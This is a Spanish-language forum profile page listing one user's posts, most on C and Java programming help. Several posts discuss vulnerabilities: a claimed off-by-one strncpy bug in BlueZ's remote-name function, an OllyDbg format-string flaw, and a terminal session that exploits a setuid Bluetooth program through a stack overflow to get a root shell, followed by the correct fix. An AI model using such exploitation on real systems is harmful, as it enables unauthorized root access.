Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - heap

#1
Bueno no queria tratar esto en un foro publico pero va no hay de otra.....
int hci_read_remote_name_with_clock_offset(int dd, const bdaddr_t *bdaddr, uint8_t pscan_rep_mode, uint16_t clkoffset, int len, char *name, int to)
{
evt_remote_name_req_complete rn;
remote_name_req_cp cp;
struct hci_request rq;

memset(&cp, 0, sizeof(cp));
bacpy(&cp.bdaddr, bdaddr);
cp.pscan_rep_mode = pscan_rep_mode;
cp.clock_offset   = clkoffset;

memset(&rq, 0, sizeof(rq));
rq.ogf    = OGF_LINK_CTL;
rq.ocf    = OCF_REMOTE_NAME_REQ;
rq.cparam = &cp;
rq.clen   = REMOTE_NAME_REQ_CP_SIZE;
rq.event  = EVT_REMOTE_NAME_REQ_COMPLETE;
rq.rparam = &rn;
rq.rlen   = EVT_REMOTE_NAME_REQ_COMPLETE_SIZE;

if (hci_send_req(dd, &rq, to) < 0)
return -1;

if (rn.status) {
errno = EIO;
return -1;
}

rn.name[247] = '\0';
strncpy(name, (char *) rn.name, len);
return 0;
}

int hci_read_remote_name(int dd, const bdaddr_t *bdaddr, int len, char *name, int to)
{
return hci_read_remote_name_with_clock_offset(dd, bdaddr, 0x02, 0x0000, len, name, to);
}


strncpy(name, (char *) rn.name, len);

Ahi esta donde se copia el name y justo antes.
rn.name[247] = '\0';

Parece bien o no ?
A veces estara bien pero dudo que los que usan bluz como lib se den cuenta de esto, len tendrian que mandarlo con 1 menosm, sino permite sobreescribir el NULL.
Pues si se puede hacer algo, aunque no estoy 100 % seguro de que se pueda correr codigo aun, lo que si se es que 100% DoS seguro, si es que corre como root.
ahora para explotarlo, asi por ser un sitio publico solo digo, hay que tener un name de justo 247 chars, el ultimo char es muy importante dado que se copiara envez del \0 y strncpy no terminara el string en \0......bueno ya dije demasiado.......afecta a cualquier programa de bluz.
#2
Si claro que es posible, pero yo no tengo ningun dispositivo bluetooth :( ahora si alguien me pone 1 en un server de pruebas le doy el exploit, a el no mas claro :).
#3
OK wey realmente no te entiendo, como asi que los programas que pasas a tu univ tienen overflows ? O uno se acostumbra a programar bien, o no, no hay que a veces tengo overflows y a veces no..........mira que lindo tu programa como lo exploto rapido.
daniel@debian:~/exploits/vuln-dev$ gcc gospel.c
daniel@debian:~/exploits/vuln-dev$ sudo chmod +s a.out
daniel@debian:~/exploits/vuln-dev$ head gospel.c
#include <stdio.h>
#include <stdlib.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>

int main (int argc, char **argv)
{
      bdaddr_t bdaddr;//Estructura bdaddr_t para almacenar la direccion MAC
      char MAC_dev[248];//Direccion MAC del dispositivo
daniel@debian:~/exploits/vuln-dev$ ./gospexp.py ./a.out 248
Shellcode place at 0xBFFFFFC5L
+ BlueResolver por Gospel [elblogdegospel.blogspot.com]

Detectando nombre del dispositivo <Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿>...
Dispositivo encontrado:
        MAC: Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿
        Nombre:
[!] Error. No se ha podido obtener el nombre del dispositivo Bluetooth.
sh-3.00$ id
uid=0(root) gid=0(root) groups=0(root)

Un sencillo stack overflow.
Ahora para aclarar varias cosas.
Citarchar *MAC_dev = argv[1];//Direccion MAC del dispositivo

yo creo q no e sla forma mas correcta... ya q estas dejando q el usuario meta lo q kiera pero en la memoria dinamica, has solucionao un stack overflow pero as creado un heap overflow XDDD
Eso no es ningun overflow, hay realmente el puntero esta en el stack, y no tiene ninguna memoria allocada, lo unico que estas haciendo es que apunte a argv[1] pero realmente solo estas copiando el puntero no la data.

Citary para el strcpy podemos usar un strncpy por ejemplo.
SI strncpy es realmente util en situaciones como esta, pero tienen que tener cuidado, como sabemos que es muy facil overflowdear el buffer el uso correcto es.
      strncpy(MAC_dev,argv[1], sizeof(MAC_dev) - 1);
      MAC_dev[sizeof(MAC_dev) - 1] = '\0';
Ahi evitas cualquier cosa, igual mi pregunta es pork el buffer es tan grande ? hay MAC addresses tan grandes ?.
De resto esta bien :)
#4
Programación C/C++ / Re: algoritmo de la edad
29 Octubre 2005, 01:08 AM
Hmm creo que me malinterpretaron: al comparar el # de dias, no importa si el mes tiene 10 o 20 o 1000, yo no calculo los a~os vividos, sino mas bien si ya cumplio otro a~o o no. Por ejemplo si nacio el 10 de febero de X y hoy es 9 de febrero y resto 2005 - X voy a tener 1 a~o de mas, por ello miro si el mes es igual y luego comparo el dia de nacido con el dia de hoy, si el dia de nacido es menor, no hago nada, si es mayor resto 1. Eso despues de asegurarme que el mes es > o = al de nacido. sino simplemente resto 1. Luego uno tambien podria mirar si el dia son iguales, y comparar las horas...........etx, etx
#5
Programación C/C++ / Re: algoritmo de la edad
27 Octubre 2005, 05:32 AM
No es mas facil hacer una resta ???????????/
haber si hoy es el octubre de 2005 y yo naci en 1986 tengo ?
2005 - 1986 = 19 //suponiendo que cumpla antes de octubre
luego un simple if statement
if (current_month > month_birtday){
edad--;
}
else if(month_birthday == current_month){
if( day_birthday > current_day){
edad--;
}
bueno eso seria para calcular la edad, pero necesitas conocer el dia en el que estas.
#include<time.h>
       fecha = time (NULL);
       tiempo_local = localtime (&fecha); //lo pasas a tiempo local
para sacar datos es por ejemplo, el mes mas grande es diciembre, eso en espa~ol, en ingles es january, define un array de 20 chars para el month y haz algo como
  strftime (month, SIZE, %A, loctime);
etx etx etx, puedes hacer calculos infinitos de if statements, dependiendo de la precision que quieras, por ejemplo si son las 7 de la noche y yo naci a las 8 tienes que hacer un if, y asi sucecivamente, hasta que tan preciso quieres ser.
#6
Java / Re: Ayuda con Java!
30 Julio 2005, 01:28 AM
public void reverse() {
MessageWord temp = head;
head = tail;
do {
// System.out.println( "here $$" + tail.word);
MessageWord junk;
junk = tail.next;
tail.next = tail.prev;
tail.prev = junk;
tail = tail.next;
// System.out.println( "here" + tail.word);
} while (tail != null);

Esta la hize para una doblemente enlazada, si esa sencillamente enlazada no lo puedes hacer pork no tienes una referencia la anterios, en algun punto perderias la referencia a los nodos, explicate mejor
#7
Cita de: DANIELC01 en  1 Marzo 2005, 05:51 AM
;) ;) ;)  sale muchas gracias por la respuesta, y ya q tu m lo rekomiendas, lo bajara y gracias.


te va a encantar :)
#8
Java / Re: entorno de desarrollo java en linux
27 Febrero 2005, 14:47 PM
ECLIPSE: para cualquier OS, es el mejor entorno de desarrollo que ha salido para java.......................
LO SIENTO PERO ES LA VERDAD
#9
CitarOutputDebugString sends a
string directly to the debugger for interpretation, which OllyDbg displays to
the user via a status line along the bottom, sans a format specifier,
which means the user supplied string is used as the format specifier.
Mira la cosa es ahi, cuando se le envia el string al debbuger y el debbuger(ollydbg) lo va a imprimir en la pantalla, necesita un specificador de fomato de string %s, al parecer no esta presente lo que abre la posibilidad a los desarrolladores de aplicacion de especificarle el especificador de formato, por ejemplo %n que escribe en la memoria, y asi redirigir la ejecucion a algun lado, hay mil cosas que pueden hacer, pero igual este bug se soluciona en 1 segundito y ademas los que desarrollan aplicaciones no van a utilizar un exploit, eso seria invertir en algo useless............a mi no me parece tan interesante ya que para llegar a explotar el bug, necesitan que el debbugeador haga ciertos pasos.....Pero bueno ahi esta tu explicacion de porque pueden correr codigo arbitrario
#10
Hacking / Re: TELNET DESDE LINUX
10 Febrero 2005, 05:14 AM
Cita de: peperoni en  9 Febrero 2005, 09:14 AM
es algo obvio que no se puede hacer nada con ping pero era simplemente una pregunta... Ahora por que no nos das una mejor tecnica pro ejemplo la que tu usas...

Salu2::..
NO HAY UNA TECNICA MAGICA !!! ESO ES LO PIRMERO QUE TIENEN QUE ENTENDER!!!.
Muchas personas creen que hay un metodo magico para penetrar servers(maquinas), y creen que haciendo telnet o ping es un metodo, no se a que se deba esta mistica alrededor de telnet, pueden leer si quieren el RFC, creo lo mas interesante de telnet es que es una conexion plana, sin encripcion, pero eso no quiere decir que si una maquina lo implementa ya la chingas en 1 segundo.
En cuanto a tecnicas hay miles de cosas que se pueden hacer, las que conozco todas estan documentadas, solo hay que leer y practicar etc..........ya si preguntas algo concreto pues te digo, pero no te voy a dar todo como de a cucharaditas....
EA se me olvidaba aca esta el RFC.
http://www.faqs.org/rfcs/rfc854.html